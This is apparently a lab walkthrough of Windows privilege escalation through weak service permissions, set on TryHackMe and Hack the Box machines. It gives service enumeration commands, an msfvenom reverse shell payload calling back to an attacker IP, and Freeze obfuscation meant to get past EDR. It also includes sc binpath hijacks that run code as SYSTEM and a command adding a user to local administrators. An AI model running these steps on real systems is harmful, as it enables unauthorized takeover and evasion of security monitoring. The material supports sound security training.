WINDOWS PRIVILEGE ESCALATION

A Closer Look at Common Misconfigurations in Windows Service Permissions for Privilege Escalation

Windows services are an essential part of the operating system, providing various functions critical to the smooth running of a system. However, services can also be vulnerable to misconfiguration, which attackers can exploit to gain unauthorized access to a system.

There are many different ways that service misconfigurations can be exploited. Some common methods include, Insecure Permissions on Service Executable, and Insecure Service Permissions.

In this article, we will discuss how Windows services can be misconfigured and provide ways to mitigate these risks. The steps for the demonstration are in the TryHackMe Windows Privilege Escalation room and the Hack the Box Academy Window Privilege Escalation module.

This misconfiguration occurs when a service’s executable has permissions that allow the attacker to modify or replace it with their own executable. This technique is useful if the service runs with elevated privileges such as SYSTEM.

Service Enumeration

To identify vulnerable services, we can use tools such as PowerUp.ps1, WinPeas or SharpUp.

WinPeas

To find information about services and their permissions in WinPeas, search for Services Information.

In the following example, we can observe that Splinterware Software Solutions has set the WService path to allow Everyone to write and create files on the service path directory located at ‘C:\PROGRA~2\SYSTEM~1\WService.exe.’

SharpUp

SharpUp is a free and open-source tool that can check for weaknesses in Windows services. It can scan for a variety of vulnerabilities related to standard privesc techniques.

To run all the checks, execute the command audit. The tool has identified the WindowsScheduler service as vulnerable to modification, as shown below.

.\SharpUp.exe audit

PowerUp

Upload the PowerUp PowerShell script and import it with the import-module command. Once done, you can run the checks using Invoke-AllChecks to run all checks or choose to run only the checks for service file permissions with the Get-ModifiableServiceFile command, which is less noisy.

#import the PowerShell module first
Import-Module .\PowerUp.ps1

#runs all the checks 
Invoke-AllChecks
#run checks on service file permissions only
Get-ModifiableServiceFile

Import-Module .\PowerUp.ps1

After identifying the vulnerable service executable, we can check it with icacls to verify the information.

icacls "C:\PROGRA~2\SYSTEM~1\WService.exe"

Next, we can use the sc command to check which account the service is currently running under. The output shows that it is running under the account name “svcusr1”. Therefore, when we run our payload, we will switch the user from “thm-upriv” to “svcusr1”.

sc qc WindowsScheduler

The WindowsSchedule service is set on an AutoStart, which means the service starts automatically at system startup. That’s okay if we want to wait for the system to restart or force it to restart, which is not a stealthy way of doing this.

However, it would be even better if we could start and stop the service using our existing account. To verify this, we can utilize Accesschk and input the service name.

.\accesschk64.exe /accepteula -ucqv WindowsScheduler

As seen below, the user “thm-unpriv” has permission to start and stop the service.

Service Abuse: Reverse Shell

Knowing this information, we can create a reverse shell and replace the WService.exe executable with our shell. I’ll generate the payload with Msfvenom and obfuscate it with Freeze; it is a good tool for circumventing EDR security controls to execute shellcode stealthily.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.49.221 LPORT=7777 -f raw >  reverse-shell.bin

./Freeze -I reverse-shell.bin -encrypt -O revShell.exe

Once compiled, we upload the file to the compromised machine, rename the original executable or copy it to another location, and move our executable to the directory and name it the same as the service’s original executable name.

Next, set up the netcat listener on port 7777. Then, stop and start the service using the sc commands. As shown below, we were able to escalate our privileges from the user thm-unpriv to svcuser1.

#stop the service 
sc stop WindowsScheduler
#stat the service
sc start WindowsScheduler

In certain instances, we may encounter insecure permissions on the entire service, not just in the executable path, as seen in the first scenario. This grants us the power to manipulate the executable to our preference by pointing to an executable that we have control over and operating the service as any user, even the SYSTEM itself.

As we proceed to the next section, we will continue using the same tools as before to identify the vulnerable services.

Service Enumeration

In the WinPeas output under Modifiable Services, we can see that we have full permission over the THMService (ALL Access), and it is currently operating under the low-priv user “svcusr3”.

With PowerUp, you can see the same output by running the Get-ModifiableService command.

#Import the module
Import-Module .\PowerUp.ps1

#Check service that can be modified
Get-ModifiableService

Next, we configure the service with the sc commands to run as SYSTEM and make it either execute our payload or add us to the local admin group for escalation. We will explore both ways:

Service Abuse: Reverse Shell

First, we use Msfvenom to create a payload, which we obfuscate using Freeze. We then proceed to upload the payload onto the machine and use icacls to give Full access permission to Everyone. This step is crucial as, without it, the payload will not be able to execute properly.

icacls C:\Users\thm-unpriv\revShell.exe /grant Everyone:F

Then, with the sc commands, we point the service binpath to our payload and configure it to run as LocalSystem.

sc config THMService binpath="C:\Users\thm-unpriv\revShell.exe" obj=LocalSystem

Then, we double-check our configuration to ensure that everything is properly set up.

We stop and start the service. As shown below, we were able to escalate to NT Authority\System from thm-unpriv user.

sc stop THMService
sc start THMService

Service Abuse: Adding User to Local Admin Group

The second method is adding our user “thm-unpriv” to the local Administrator group with the sc config command.

sc config THMService binpath="cmd /c net localgroup administrators thm-unpriv /add" obj= LocalSystem

Before proceeding, we verify our configuration to ensure everything is in place.

sc qc THMService

Next, we stop, start the service, and run the net localgroup command. After executing the command, we can see that the user “thm-unpriv” has been added to the Administrators group.